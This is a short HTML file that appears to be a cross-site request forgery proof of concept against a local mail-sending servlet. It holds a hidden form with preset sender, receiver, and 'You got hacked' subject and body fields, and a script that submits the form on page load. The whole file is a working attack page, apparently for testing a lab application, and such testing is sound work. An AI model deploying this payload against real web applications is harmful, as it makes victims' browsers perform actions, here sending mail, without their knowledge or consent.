xsrf.html

<form id="submitMail" class="form-resize" action="http://localhost:8080/war_exploded/SendMailServlet" method="post">
    <input type="hidden" name="email" value="ang@gmail.com">
    <input type="hidden" name="password" value="null">
    <input class="hidden" name="receiver" placeholder="Receiver" required="" value="ric@gmail.com">
    <input class="hidden" name="subject" placeholder="Subject" required="" value="You got hacked">
    <input class="hidden" name="body" placeholder="Body" required="" value="You got hacked">
</form>
<script>document.forms.submitMail.submit();</script>